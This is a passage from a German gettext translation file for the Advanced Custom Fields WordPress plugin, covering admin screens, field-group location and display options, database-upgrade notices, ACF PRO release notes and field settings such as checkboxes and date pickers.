"No fields. Click the <strong>+ Add Field</strong> button to create your "
"first field."
msgstr ""
"Es sind noch keine Felder angelegt. Klicke den <strong>+ Feld hinzufügen-"
"Button</strong> und erstelle Dein erstes Feld."

# @ acf
#: admin/views/field-group-fields.php:43
msgid "+ Add Field"
msgstr "+ Feld hinzufügen"

# @ acf
#: admin/views/field-group-locations.php:5
#: admin/views/field-group-locations.php:11
msgid "Post"
msgstr "Beitrag"

# @ acf
#: admin/views/field-group-locations.php:6 fields/relationship.php:743
msgid "Post Type"
msgstr "Beitrags-Typ"

# @ acf
#: admin/views/field-group-locations.php:7
msgid "Post Status"
msgstr "Beitrags-Status"

# @ acf
#: admin/views/field-group-locations.php:8
msgid "Post Format"
msgstr "Beitrags-Format"

# @ acf
#: admin/views/field-group-locations.php:9
msgid "Post Category"
msgstr "Beitrags-Kategorie"

# @ acf
#: admin/views/field-group-locations.php:10
msgid "Post Taxonomy"
msgstr "Beitrags-Taxonomie"

# @ acf
#: admin/views/field-group-locations.php:13
#: admin/views/field-group-locations.php:17
msgid "Page"
msgstr "Seite"

# @ acf
#: admin/views/field-group-locations.php:14
msgid "Page Template"
msgstr "Seiten-Template"

# @ acf
#: admin/views/field-group-locations.php:15
msgid "Page Type"
msgstr "Seitentyp"

# @ acf
#: admin/views/field-group-locations.php:16
msgid "Page Parent"
msgstr "Übergeordnete Seite"

# @ acf
#: admin/views/field-group-locations.php:19 fields/user.php:36
msgid "User"
msgstr "Benutzer"

# @ acf
#: admin/views/field-group-locations.php:20
msgid "Current User"
msgstr "Aktueller Benutzer"

# @ acf
#: admin/views/field-group-locations.php:21
msgid "Current User Role"
msgstr "Aktuelle Benutzer-Rolle"

# @ acf
#: admin/views/field-group-locations.php:22
msgid "User Form"
msgstr "Benutzer-Formular"

# @ acf
#: admin/views/field-group-locations.php:23
msgid "User Role"
msgstr "Benutzerrolle"

# @ acf
#: admin/views/field-group-locations.php:25 pro/admin/options-page.php:49
msgid "Forms"
msgstr "Formulare"

# @ acf
#: admin/views/field-group-locations.php:26
msgid "Attachment"
msgstr "Dateianhang"

# @ acf
#: admin/views/field-group-locations.php:27
msgid "Taxonomy Term"
msgstr "Taxonomie"

# @ acf
#: admin/views/field-group-locations.php:28
msgid "Comment"
msgstr "Kommentar"

# @ acf
#: admin/views/field-group-locations.php:29
msgid "Widget"
msgstr "Widget"

# @ acf
#: admin/views/field-group-locations.php:41
msgid "Rules"
msgstr "Regeln"

# @ acf
#: admin/views/field-group-locations.php:42
msgid ""
"Create a set of rules to determine which edit screens will use these "
"advanced custom fields"
msgstr ""
"Erstelle ein Regelwerk das festlegt welche Bearbeitungs-Ansichten diese Feld-"
"Gruppe nutzen dürfen"

# @ acf
#: admin/views/field-group-locations.php:59
msgid "Show this field group if"
msgstr "Zeige diese Felder, wenn"

# @ acf
#: admin/views/field-group-options.php:19
msgid "Style"
msgstr "Stil"

# @ acf
#: admin/views/field-group-options.php:26
msgid "Standard (WP metabox)"
msgstr "WP-Metabox (Standard)"

# @ acf
#: admin/views/field-group-options.php:27
msgid "Seamless (no metabox)"
msgstr "Übergangslos ohne Metabox"

# @ acf
#: admin/views/field-group-options.php:34
msgid "Position"
msgstr "Position"

# @ acf
#: admin/views/field-group-options.php:41
msgid "High (after title)"
msgstr "Nach dem Titel vor dem Inhalt"

# @ acf
#: admin/views/field-group-options.php:42
msgid "Normal (after content)"
msgstr "Nach dem Inhalt (Standard)"

# @ acf
#: admin/views/field-group-options.php:43
msgid "Side"
msgstr "Seitlich neben dem Inhalt"

# @ acf
#: admin/views/field-group-options.php:51
msgid "Label placement"
msgstr "Platzierung Beschriftung"

# @ acf
#: admin/views/field-group-options.php:58 fields/tab.php:117
msgid "Top aligned"
msgstr "Über dem Feld"

# @ acf
#: admin/views/field-group-options.php:59 fields/tab.php:118
msgid "Left Aligned"
msgstr "Links neben dem Feld"

# @ acf
#: admin/views/field-group-options.php:66
msgid "Instruction placement"
msgstr "Platzierung der Hinweise"

# @ acf
#: admin/views/field-group-options.php:73
msgid "Below labels"
msgstr "Unterhalb der Beschriftung"

# @ acf
#: admin/views/field-group-options.php:74
msgid "Below fields"
msgstr "Unterhalb der Felder"

# @ acf
#: admin/views/field-group-options.php:81
msgid "Order No."
msgstr "Reihenfolge"

#: admin/views/field-group-options.php:82
msgid "Field groups with a lower order will appear first"
msgstr "Feld-Gruppen mit einem niedrigeren Wert werden zuerst angezeigt"

#: admin/views/field-group-options.php:93
msgid "Shown in field group list"
msgstr "Wird in der Feld-Gruppen-Liste angezeigt"

# @ acf
#: admin/views/field-group-options.php:103
msgid "Hide on screen"
msgstr "Verstecken"

# @ acf
#: admin/views/field-group-options.php:104
msgid "<b>Select</b> items to <b>hide</b> them from the edit screen."
msgstr ""
"<strong>Ausgewählte</strong> Elemente werden <strong>versteckt</strong>."

# @ acf
#: admin/views/field-group-options.php:104
msgid ""
"If multiple field groups appear on an edit screen, the first field group's "
"options will be used (the one with the lowest order number)"
msgstr ""
"Sind für einen Bearbeiten-Dialog mehrere Felder-Gruppen definiert, werden "
"die Optionen der ersten Felder-Gruppe angewendet (die mit der niedrigsten "
"Nummer für die Reihenfolge)."

# @ acf
#: admin/views/field-group-options.php:111
msgid "Permalink"
msgstr "Permalink"

# @ acf
#: admin/views/field-group-options.php:112
msgid "Content Editor"
msgstr "Inhalts-Editor"

# @ acf
#: admin/views/field-group-options.php:113
msgid "Excerpt"
msgstr "Kurzfassung"

# @ acf
#: admin/views/field-group-options.php:115
msgid "Discussion"
msgstr "Diskussion"

# @ acf
#: admin/views/field-group-options.php:116
msgid "Comments"
msgstr "Kommentare"

# @ acf
#: admin/views/field-group-options.php:117
msgid "Revisions"
msgstr "Revisionen"

# @ acf
#: admin/views/field-group-options.php:118
msgid "Slug"
msgstr "Kurzlink"

# @ acf
#: admin/views/field-group-options.php:119
msgid "Author"
msgstr "Autor"

# @ acf
#: admin/views/field-group-options.php:120
msgid "Format"
msgstr "Format"

# @ acf
#: admin/views/field-group-options.php:121
msgid "Page Attributes"
msgstr "Seiten-Attribute"

# @ acf
#: admin/views/field-group-options.php:122 fields/relationship.php:756
msgid "Featured Image"
msgstr "Beitragsbild"

# @ acf
#: admin/views/field-group-options.php:123
msgid "Categories"
msgstr "Kategorien"

# @ acf
#: admin/views/field-group-options.php:124
msgid "Tags"
msgstr "Schlagworte"

# @ acf
#: admin/views/field-group-options.php:125
msgid "Send Trackbacks"
msgstr "Sende Trackbacks"

#: admin/views/install-network.php:4
msgid "Upgrade Sites"
msgstr "Seiten aktualisieren"

# @ acf
#: admin/views/install-network.php:13 admin/views/install.php:8
msgid "Advanced Custom Fields Database Upgrade"
msgstr "Advanced Custom Fields Datenbank Aktualisierung"

#: admin/views/install-network.php:15
#, php-format
msgid ""
"The following sites require a DB upgrade. Check the ones you want to update "
"and then click %s."
msgstr ""
"Folgende Seiten erfordern eine Datenbank-Aktualisierung. Markiere die "
"gewünschten Seiten und klicke dann %s."

# @ acf
#: admin/views/install-network.php:24 admin/views/install-network.php:32
msgid "Site"
msgstr "Seite"

# @ acf
#: admin/views/install-network.php:52
#, php-format
msgid "Site requires database upgrade from %s to %s"
msgstr "Die Seite erfordert eine Datenbank-Aktualisierung von %s auf %s"

# @ acf
#: admin/views/install-network.php:54
msgid "Site is up to date"
msgstr "Seite ist aktuell"

# @ acf
#: admin/views/install-network.php:67
#, php-format
msgid ""
"Database Upgrade complete. <a href=\"%s\">Return to network dashboard</a>"
msgstr ""
"Datenbank-Aktualisierung fertiggestellt. <a href=\"%s\">Zum Netzwerk "
"Dashboard</a>"

# @ acf
#: admin/views/install-network.php:106 admin/views/install-notice.php:35
msgid ""
"It is strongly recommended that you backup your database before proceeding. "
"Are you sure you wish to run the updater now?"
msgstr ""
"Es wird dringend dazu angeraten, dass Du Deine Datenbank sicherst, bevor Du "
"fortfährst. Bist Du sicher, dass Du die Aktualisierung jetzt durchführen "
"willst?"

# @ default
#: admin/views/install-network.php:162
msgid "Upgrade complete"
msgstr "Aktualisierung abgeschlossen"

# @ acf
#: admin/views/install-network.php:166 admin/views/install.php:14
#, php-format
msgid "Upgrading data to version %s"
msgstr "Aktualisiere Daten auf Version %s"

# @ acf
#: admin/views/install-notice.php:23
msgid "Database Upgrade Required"
msgstr "Es ist eine Datenbank-Aktualisierung notwendig"

# @ acf
#: admin/views/install-notice.php:25
#, php-format
msgid "Thank you for updating to %s v%s!"
msgstr "Danke für die Aktualisierung auf %s v%s!"

# @ acf
#: admin/views/install-notice.php:25
msgid ""
"Before you start using the new awesome features, please update your database "
"to the newest version."
msgstr ""
"Bevor Du die tollen neuen Funktionen nutzen kannst muss die Datenbank "
"aktualisiert werden."

# @ acf
#: admin/views/install.php:12
msgid "Reading upgrade tasks..."
msgstr "Lese anstehende Aufgaben für die Aktualisierung..."

#: admin/views/install.php:16
#, php-format
msgid "Database Upgrade complete. <a href=\"%s\">See what's new</a>"
msgstr ""
"Datenbank-Aktualisierung abgeschlossen. <a href=\"%s\">Kuck nach was es "
"Neues gibt</a>"

# @ acf
#: admin/views/settings-addons.php:23
msgid "Download & Install"
msgstr "Download & Installieren"

# @ acf
#: admin/views/settings-addons.php:42
msgid "Installed"
msgstr "Installiert"

# @ acf
#: admin/views/settings-info.php:9
msgid "Welcome to Advanced Custom Fields"
msgstr "Willkommen bei Advanced Custom Fields"

# @ acf
#: admin/views/settings-info.php:10
#, php-format
msgid ""
"Thank you for updating! ACF %s is bigger and better than ever before. We "
"hope you like it."
msgstr ""
"Danke fürs Aktualisieren! ACF %s ist besser denn je. Wir hoffen es wird Dir "
"genauso gut gefallen wie uns."

# @ acf
#: admin/views/settings-info.php:23
msgid "A smoother custom field experience"
msgstr ""
"Eine neue Dimension der reibungslosen Nutzung benutzerdefinierter Felder"

# @ acf
#: admin/views/settings-info.php:28
msgid "Improved Usability"
msgstr "Verbesserte Benutzerfreundlichkeit"

# @ acf
#: admin/views/settings-info.php:29
msgid ""
"Including the popular Select2 library has improved both usability and speed "
"across a number of field types including post object, page link, taxonomy "
"and select."
msgstr ""
"Durch die Einführung der beliebten Select2 Bibliothek wurde sowohl die "
"Benutzerfreundlichkeit als auch die Geschwindigkeit einiger Feldtypen wie "
"Beitrags-Objekte, Seiten-Links, Taxonomien sowie von Auswahl-Feldern "
"signifikant verbessert."

# @ acf
#: admin/views/settings-info.php:33
msgid "Improved Design"
msgstr "Verbessertes Design"

# @ acf
#: admin/views/settings-info.php:34
msgid ""
"Many fields have undergone a visual refresh to make ACF look better than "
"ever! Noticeable changes are seen on the gallery, relationship and oEmbed "
"(new) fields!"
msgstr ""
"Viele Felder wurden visuell überarbeitet, damit ACF besser denn je aussieht! "
"Die markantesten Änderungen erfuhren das Galerie-, Beziehungs- sowie das "
"nagelneue oEmbed-Feld!"

# @ acf
#: admin/views/settings-info.php:38
msgid "Improved Data"
msgstr "Verbesserte Datenstruktur"

# @ acf
#: admin/views/settings-info.php:39
msgid ""
"Redesigning the data architecture has allowed sub fields to live "
"independently from their parents. This allows you to drag and drop fields in "
"and out of parent fields!"
msgstr ""
"Die Neugestaltung der Datenarchitektur erlaubt es, dass Felder unabhängig "
"von ihren übergeordneten Feldern existieren können. Dies ermöglicht, dass "
"Felder per Drag-and-Drop, in und aus ihren übergeordneten Feldern verschoben "
"werden können!"

# @ acf
#: admin/views/settings-info.php:45
msgid "Goodbye Add-ons. Hello PRO"
msgstr "Macht's gut Add-ons&hellip; Hallo PRO!"

# @ acf
#: admin/views/settings-info.php:50
msgid "Introducing ACF PRO"
msgstr "Wir dürfen vorstellen&hellip; ACF PRO"

# @ acf
#: admin/views/settings-info.php:51
msgid ""
"We're changing the way premium functionality is delivered in an exciting way!"
msgstr ""
"Wir haben die Art und Weise mit der die Premium-Funktionalität zur Verfügung "
"gestellt wird geändert - das \"wie\" dürfte Dich begeistern!"

# @ acf
#: admin/views/settings-info.php:52
#, php-format
msgid ""
"All 4 premium add-ons have been combined into a new <a href=\"%s\">Pro "
"version of ACF</a>. With both personal and developer licenses available, "
"premium functionality is more affordable and accessible than ever before!"
msgstr ""
"Alle vier, vormals separat erhältlichen, Premium-Add-ons wurden in der neuen "
"<a href=\"%s\">Pro-Version von ACF</a> zusammengefasst. Besagte Premium-"
"Funktionalität, erhältlich in einer Einzel- sowie einer Entwickler-Lizenz, "
"ist somit erschwinglicher denn je!"

# @ acf
#: admin/views/settings-info.php:56
msgid "Powerful Features"
msgstr "Leistungsstarke Funktionen"

# @ acf
#: admin/views/settings-info.php:57
msgid ""
"ACF PRO contains powerful features such as repeatable data, flexible content "
"layouts, a beautiful gallery field and the ability to create extra admin "
"options pages!"
msgstr ""
"ACF PRO enthält leistungsstarke Funktionen wie wiederholbare Daten, Flexible "
"Inhalte-Layouts, ein wunderschönes Galerie-Feld sowie die Möglichkeit "
"zusätzliche Options-Seiten im Admin-Bereich anzulegen!"

# @ acf
#: admin/views/settings-info.php:58
#, php-format
msgid "Read more about <a href=\"%s\">ACF PRO features</a>."
msgstr "Lies mehr über die <a href=\"%s\">ACF PRO Funktionen</a>."

# @ acf
#: admin/views/settings-info.php:62
msgid "Easy Upgrading"
msgstr "Kinderleichte Aktualisierung"

# @ acf
#: admin/views/settings-info.php:63
#, php-format
msgid ""
"To help make upgrading easy, <a href=\"%s\">login to your store account</a> "
"and claim a free copy of ACF PRO!"
msgstr ""
"Wir haben den Aktualisierungsprozess so einfach wie möglich gehalten; <a "
"href=\"%s\">melde  Dich mit Deinem Store-Account an</a> und fordere ein "
"Gratisexemplar von ACF PRO an!"

# @ acf
#: admin/views/settings-info.php:64
#, php-format
msgid ""
"We also wrote an <a href=\"%s\">upgrade guide</a> to answer any questions, "
"but if you do have one, please contact our support team via the <a href=\"%s"
"\">help desk</a>"
msgstr ""
"Um möglichen Fragen vorzubeugen haben wir haben eine <a href=\"%s\"> "
"Anleitung für den Aktualisierungs-Prozess (Engl.)</a> verfasst. Sollten "
"dennoch Fragen aufgeworfen werden, kontaktiere bitte unser <a href=\"%s\"> "
"Support-Team </a>."

# @ acf
#: admin/views/settings-info.php:72
msgid "Under the Hood"
msgstr "Unter der Haube"

# @ acf
#: admin/views/settings-info.php:77
msgid "Smarter field settings"
msgstr "Intelligentere Feld-Einstellungen"

# @ acf
#: admin/views/settings-info.php:78
msgid "ACF now saves its field settings as individual post objects"
msgstr ""
"ACF speichert nun die Feld-Einstellungen als individuelle Beitrags-Objekte"

# @ acf
#: admin/views/settings-info.php:82
msgid "More AJAX"
msgstr "Mehr AJAX"

# @ acf
#: admin/views/settings-info.php:83
msgid "More fields use AJAX powered search to speed up page loading"
msgstr ""
"Mehr Felder verwenden nun eine AJAX-basierte Suche, die die Ladezeiten von "
"Seiten deutlich verringert"

# @ acf
#: admin/views/settings-info.php:87
msgid "Local JSON"
msgstr "Lokales JSON"

# @ acf
#: admin/views/settings-info.php:88
msgid "New auto export to JSON feature improves speed"
msgstr ""
"Ein neuer automatischer Export nach JSON verbessert die Geschwindigkeit"

# @ acf
#: admin/views/settings-info.php:94
msgid "Better version control"
msgstr "Verbesserte Versionskontrolle"

# @ acf
#: admin/views/settings-info.php:95
msgid ""
"New auto export to JSON feature allows field settings to be version "
"controlled"
msgstr ""
"Die neue JSON Export Funktionalität erlaubt die Versionskontrolle von Feld-"
"Einstellungen"

# @ acf
#: admin/views/settings-info.php:99
msgid "Swapped XML for JSON"
msgstr "JSON ersetzt XML"

# @ acf
#: admin/views/settings-info.php:100
msgid "Import / Export now uses JSON in favour of XML"
msgstr "Das Import- und Export-Modul nutzt nun JSON anstelle XML"

# @ acf
#: admin/views/settings-info.php:104
msgid "New Forms"
msgstr "Neue Formulare"

# @ acf
#: admin/views/settings-info.php:105
msgid "Fields can now be mapped to comments, widgets and all user forms!"
msgstr ""
"Felder können nun auch Kommentaren, Widgets und allen Benutzer-Formularen "
"zugeordnet werden!"

# @ acf
#: admin/views/settings-info.php:112
msgid "A new field for embedding content has been added"
msgstr "Ein neues Feld für das Einbetten von Inhalten wurde hinzugefügt"

# @ acf
#: admin/views/settings-info.php:116
msgid "New Gallery"
msgstr "Neue Galerie"

# @ acf
#: admin/views/settings-info.php:117
msgid "The gallery field has undergone a much needed facelift"
msgstr ""
"Das Galerie-Feld wurde einem längst überfälligen Face-Lifting unterzogen"

# @ acf
#: admin/views/settings-info.php:121
msgid "New Settings"
msgstr "Neue Einstellungen"

# @ acf
#: admin/views/settings-info.php:122
msgid ""
"Field group settings have been added for label placement and instruction "
"placement"
msgstr ""
"Die Feld-Gruppen wurden um die Einstellungen für die Platzierung von "
"Beschriftungen und Hinweisen erweitert"

# @ acf
#: admin/views/settings-info.php:128
msgid "Better Front End Forms"
msgstr "Verbesserte Front-End-Formulare"

# @ acf
#: admin/views/settings-info.php:129
msgid "acf_form() can now create a new post on submission"
msgstr "acf_form() kann jetzt einen neuen Beitrag direkt beim Senden erstellen"

# @ acf
#: admin/views/settings-info.php:133
msgid "Better Validation"
msgstr "Bessere Validierung"

# @ acf
#: admin/views/settings-info.php:134
msgid "Form validation is now done via PHP + AJAX in favour of only JS"
msgstr ""
"Die Formular-Validierung wird nun mit Hilfe von PHP + AJAX erledigt, "
"anstelle nur JS zu verwenden"

# @ acf
#: admin/views/settings-info.php:138
msgid "Relationship Field"
msgstr "Beziehungs-Feld"

# @ acf
#: admin/views/settings-info.php:139
msgid ""
"New Relationship field setting for 'Filters' (Search, Post Type, Taxonomy)"
msgstr ""
"Neue Einstellungen innerhalb des Beziehungs-Feldes um nach Suche, Beitrags-"
"Typ und oder Taxonomie filtern zu können"

# @ acf
#: admin/views/settings-info.php:145
msgid "Moving Fields"
msgstr "Verschiebbare Felder"

# @ acf
#: admin/views/settings-info.php:146
msgid ""
"New field group functionality allows you to move a field between groups & "
"parents"
msgstr ""
"Die neue Feld-Gruppen-Funktionalität erlaubt es ein Feld zwischen Gruppen "
"und übergeordneten Gruppen frei zu verschieben"

# @ acf
#: admin/views/settings-info.php:150 fields/page_link.php:36
msgid "Page Link"
msgstr "Seiten-Link"

# @ acf
#: admin/views/settings-info.php:151
msgid "New archives group in page_link field selection"
msgstr ""
"Im neuen Seitenlink-Feld werden alle Archiv-URL's der verfügbaren Custom "
"Post Types in einer Options-Gruppe zusammengefasst"

# @ acf
#: admin/views/settings-info.php:155
msgid "Better Options Pages"
msgstr "Verbesserte Options-Seiten"

# @ acf
#: admin/views/settings-info.php:156
msgid ""
"New functions for options page allow creation of both parent and child menu "
"pages"
msgstr ""
"Neue Funktionen für die Options-Seite erlauben die Erstellung von Menüs für "
"übergeordnete Seiten sowie Unterseiten"

# @ acf
#: admin/views/settings-info.php:165
#, php-format
msgid "We think you'll love the changes in %s."
msgstr "Wir glauben Du wirst die Änderungen in %s lieben."

# @ acf
#: admin/views/settings-tools-export.php:27
msgid "Export Field Groups to PHP"
msgstr "Exportieren der Feld-Gruppen nach PHP"

# @ acf
#: admin/views/settings-tools-export.php:31
msgid ""
"The following code can be used to register a local version of the selected "
"field group(s). A local field group can provide many benefits such as faster "
"load times, version control & dynamic fields/settings. Simply copy and paste "
"the following code to your theme's functions.php file or include it within "
"an external file."
msgstr ""
"Der nachfolgende Code kann dazu verwendet werden eine lokale Version der "
"ausgewählten Feld-Gruppe(n) zu registrieren. Eine lokale Feld-Gruppe bietet "
"viele Vorteile; schnellere Ladezeiten, Versionskontrolle sowie dynamische "
"Felder und Einstellungen. Kopiere einfach folgenden Code und füge ihn in die "
"functions.php oder eine externe Datei in Deinem Theme ein."

# @ acf
#: admin/views/settings-tools.php:5
msgid "Select Field Groups"
msgstr "Felder-Gruppen auswählen"

# @ acf
#: admin/views/settings-tools.php:35
msgid "Export Field Groups"
msgstr "Feld-Gruppen exportieren"

# @ acf
#: admin/views/settings-tools.php:38
msgid ""
"Select the field groups you would like to export and then select your export "
"method. Use the download button to export to a .json file which you can then "
"import to another ACF installation. Use the generate button to export to PHP "
"code which you can place in your theme."
msgstr ""
"Entscheide zuerst welche Felder-Gruppen Du exportieren möchtest und wähle im "
"Anschluss das Format in das exportiert werden soll. Klicke den \"JSON-Datei "
"exportieren\"-Button, um eine JSON-Datei zu erhalten, welche Du dann in "
"einer anderen ACF-Installation importieren kannst. Wähle den \"Erstelle PHP-"
"Code\"-Button, um PHP-Code zu erhalten, den Du im Anschluss in der functions."
"php Deines Themes einfügen kannst."

# @ acf
#: admin/views/settings-tools.php:50
msgid "Download export file"
msgstr "JSON-Datei exportieren"

# @ acf
#: admin/views/settings-tools.php:51
msgid "Generate export code"
msgstr "Erstelle PHP-Code"

# @ acf
#: admin/views/settings-tools.php:64
msgid "Import Field Groups"
msgstr "Feld-Gruppen importieren"

# @ acf
#: admin/views/settings-tools.php:67
msgid ""
"Select the Advanced Custom Fields JSON file you would like to import. When "
"you click the import button below, ACF will import the field groups."
msgstr ""
"Wähle die Advanced Custom Fields JSON-Datei aus, welche Du importieren "
"möchtest. Nach dem Klicken des Importieren-Buttons wird ACF die Felder-"
"Gruppen hinzufügen."

# @ acf
#: admin/views/settings-tools.php:77 fields/file.php:46
msgid "Select File"
msgstr "Datei auswählen"

# @ acf
#: admin/views/settings-tools.php:86
msgid "Import"
msgstr "Importieren"

# @ acf
#: api/api-helpers.php:881
msgid "Thumbnail"
msgstr "Miniaturbild"

# @ acf
#: api/api-helpers.php:882
msgid "Medium"
msgstr "Mittel"

# @ acf
#: api/api-helpers.php:883
msgid "Large"
msgstr "Groß"

# @ acf
#: api/api-helpers.php:932
msgid "Full Size"
msgstr "Volle Größe"

# @ acf
#: api/api-helpers.php:1189 api/api-helpers.php:1739 pro/fields/clone.php:1002
msgid "(no title)"
msgstr "(ohne Titel)"

#: api/api-helpers.php:1776 fields/page_link.php:284 fields/post_object.php:283
#: fields/taxonomy.php:988
msgid "Parent"
msgstr "Übergeordnet"

# @ acf
#: api/api-helpers.php:3784
#, php-format
msgid "Image width must be at least %dpx."
msgstr "Die Breite des Bildes muss mindestens %dpx sein."

# @ acf
#: api/api-helpers.php:3789
#, php-format
msgid "Image width must not exceed %dpx."
msgstr "Die Breite des Bildes darf %dpx nicht überschreiten."

# @ acf
#: api/api-helpers.php:3805
#, php-format
msgid "Image height must be at least %dpx."
msgstr "Die Höhe des Bildes muss mindestens %dpx sein."

# @ acf
#: api/api-helpers.php:3810
#, php-format
msgid "Image height must not exceed %dpx."
msgstr "Die Höhe des Bild darf %dpx nicht überschreiten."

# @ acf
#: api/api-helpers.php:3828
#, php-format
msgid "File size must be at least %s."
msgstr "Die Dateigröße muss mindestens %s sein."

# @ acf
#: api/api-helpers.php:3833
#, php-format
msgid "File size must must not exceed %s."
msgstr "Die Dateigröße darf %s nicht überschreiten."

# @ acf
#: api/api-helpers.php:3867
#, php-format
msgid "File type must be %s."
msgstr "Der Dateityp muss %s sein."

# @ acf
#: api/api-template.php:1027 core/field.php:327
msgid "Content"
msgstr "Inhalt"

#: api/api-template.php:1035
msgid "Validate Email"
msgstr "E-Mail bestätigen"

#: api/api-template.php:1085
msgid "Spam Detected"
msgstr "Spam entdeckt"

# @ acf
#: api/api-template.php:1288 pro/api/api-options-page.php:50
#: pro/fields/gallery.php:588
msgid "Update"
msgstr "Aktualisieren"

# @ acf
#: api/api-template.php:1289
msgid "Post updated"
msgstr "Beitrag aktualisiert"

# @ acf
#: core/field.php:326
msgid "Basic"
msgstr "Grundlage"

# @ acf
#: core/field.php:328
msgid "Choice"
msgstr "Auswahl"

# @ acf
#: core/field.php:329
msgid "Relational"
msgstr "Relational"

# @ acf
#: core/field.php:330
msgid "jQuery"
msgstr "jQuery"

# @ acf
#: core/field.php:331 fields/checkbox.php:281 fields/radio.php:292
#: pro/fields/clone.php:849 pro/fields/flexible-content.php:571
#: pro/fields/flexible-content.php:620 pro/fields/repeater.php:506
msgid "Layout"
msgstr "Layout"

# @ acf
#: core/input.php:258
msgid "Expand Details"
msgstr "Details einblenden"

# @ acf
#: core/input.php:259
msgid "Collapse Details"
msgstr "Details ausblenden"

# @ acf
#: core/input.php:260
msgid "Validation successful"
msgstr "Überprüfung erfolgreich"

# @ acf
#: core/input.php:261 core/validation.php:322 forms/widget.php:234
msgid "Validation failed"
msgstr "Überprüfung fehlgeschlagen"

# @ acf
#: core/input.php:262
msgid "1 field requires attention"
msgstr "Für 1 Feld ist eine Aktualisierung notwendig"

# @ acf
#: core/input.php:263
#, php-format
msgid "%d fields require attention"
msgstr "Für %d Felder ist eine Aktualisierung notwendig"

#: core/input.php:264
msgid "Restricted"
msgstr "Eingeschränkt"

#: core/media.php:54 fields/select.php:265
msgctxt "verb"
msgid "Select"
msgstr "Auswählen"

#: core/media.php:55
msgctxt "verb"
msgid "Edit"
msgstr "Bearbeiten"

#: core/media.php:56
msgctxt "verb"
msgid "Update"
msgstr "Aktualisieren"

# @ acf
#: core/media.php:57 fields/file.php:49 fields/image.php:54
#: pro/fields/gallery.php:55
msgid "Uploaded to this post"
msgstr "Zu diesem Beitrag hochgeladen"

# @ acf
#: core/validation.php:207
#, php-format
msgid "%s value is required"
msgstr "%s Wert ist notwendig"

# @ acf
#: fields/checkbox.php:36 fields/taxonomy.php:782
msgid "Checkbox"
msgstr "Checkbox"

# @ acf
#: fields/checkbox.php:145
msgid "Toggle All"
msgstr "Alle auswählen"

#: fields/checkbox.php:202
msgid "Add new choice"
msgstr "Neue Auswahlmöglichkeit hinzufügen"

# @ acf
#: fields/checkbox.php:241 fields/radio.php:242 fields/select.php:463
msgid "Choices"
msgstr "Auswahlmöglichkeiten"

# @ acf
#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "Enter each choice on a new line."
msgstr "Jede Auswahlmöglichkeit in separater Zeile eingeben."

# @ acf
#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "For more control, you may specify both a value and label like this:"
msgstr ""
"Für eine bessere Darstellung, kannst Du auch einen Wert und dazu dessen "
"Beschriftung definieren:"

# @ acf
#: fields/checkbox.php:242 fields/radio.php:243 fields/select.php:464
msgid "red : Red"
msgstr "rot : Rot"

#: fields/checkbox.php:250
msgid "Allow Custom"
msgstr "Erlaube Benutzerdefinierte Werte"

#: fields/checkbox.php:255
msgid "Allow 'custom' values to be added"
msgstr "Erlaube das Hinzufügen benutzerdefinierter Werte"

#: fields/checkbox.php:261
msgid "Save Custom"
msgstr "Benutzerdefinierte Werte abspeichern"

#: fields/checkbox.php:266
msgid "Save 'custom' values to the field's choices"
msgstr ""
"Speichere benutzerdefinierte Werte zu den Auswahlmöglichkeiten des Feldes"

# @ acf
#: fields/checkbox.php:272 fields/color_picker.php:147 fields/email.php:133
#: fields/number.php:145 fields/radio.php:283 fields/select.php:472
#: fields/text.php:142 fields/textarea.php:139 fields/true_false.php:150
#: fields/url.php:114 fields/wysiwyg.php:445
msgid "Default Value"
msgstr "Standardwert"

# @ acf
#: fields/checkbox.php:273 fields/select.php:473
msgid "Enter each default value on a new line"
msgstr "Jeden Standardwert in einer neuen Zeile eingeben"

# @ acf
#: fields/checkbox.php:287 fields/radio.php:298
msgid "Vertical"
msgstr "Vertikal"

# @ acf
#: fields/checkbox.php:288 fields/radio.php:299
msgid "Horizontal"
msgstr "Horizontal"

#: fields/checkbox.php:295
msgid "Toggle"
msgstr "Auswählen"

#: fields/checkbox.php:296
msgid "Prepend an extra checkbox to toggle all choices"
msgstr ""
"Hänge eine zusätzliche Checkbox an mit der man alle Optionen auswählen kann"

# @ acf
#: fields/checkbox.php:305 fields/file.php:222 fields/image.php:208
#: fields/radio.php:306 fields/taxonomy.php:835
msgid "Return Value"
msgstr "Rückgabewert"

# @ acf
#: fields/checkbox.php:306 fields/file.php:223 fields/image.php:209
#: fields/radio.php:307
msgid "Specify the returned value on front end"
msgstr "Legt den Rückgabewert für das Front-End fest"

#: fields/checkbox.php:311 fields/radio.php:312 fields/select.php:527
msgid "Value"
msgstr "Wert"

#: fields/checkbox.php:313 fields/radio.php:314 fields/select.php:529
msgid "Both (Array)"
msgstr "Beide (Array)"

# @ acf
#: fields/color_picker.php:36
msgid "Color Picker"
msgstr "Farbe"

# @ acf
#: fields/color_picker.php:83
msgid "Clear"
msgstr "Leeren"

# @ acf
#: fields/color_picker.php:84
msgid "Default"
msgstr "Standard"

# @ acf
#: fields/color_picker.php:85
msgid "Select Color"
msgstr "Farbe auswählen"

#: fields/color_picker.php:86
msgid "Current Color"
msgstr "Aktuelle Farbe"

# @ acf
#: fields/date_picker.php:36
msgid "Date Picker"
msgstr "Datum"

#: fields/date_picker.php:44
msgctxt "Date Picker JS closeText"
msgid "Done"
msgstr "Fertig"

#: fields/date_picker.php:45
msgctxt "Date Picker JS currentText"
msgid "Today"
msgstr "Heute"

#: fields/date_picker.php:46
msgctxt "Date Picker JS nextText"
msgid "Next"
msgstr "Nächstes"

#: fields/date_picker.php:47
msgctxt "Date Picker JS prevText"
msgid "Prev"
msgstr "Vorheriges"

#: fields/date_picker.php:48
msgctxt "Date Picker JS weekHeader"
msgid "Wk"
msgstr "Wo."

# @ acf
#: fields/date_picker.php:197 fields/date_time_picker.php:186
#: fields/time_picker.php:126
msgid "Display Format"
msgstr "Darstellungs-Format"

# @ acf
#: fields/date_picker.php:198 fields/date_time_picker.php:187
#: fields/time_picker.php:127
msgid "The format displayed when editing a post"
msgstr "Das Datums-Format für die Anzeige in der Bearbeitungs-Ansicht"

# @ acf
#: fields/date_picker.php:212 fields/date_time_picker.php:202
#: fields/post_object.php:447 fields/relationship.php:783 fields/select.php:522
#: fields/time_picker.php:140
msgid "Return Format"
msgstr "Rückgabewert"

# @ acf
#: fields/date_picker.php:213 fields/date_time_picker.php:203
#: fields/time_picker.php:141
msgid "The format returned via template functions"
msgstr "Das Datums-Format für die Ausgabe in den Template-Funktionen"

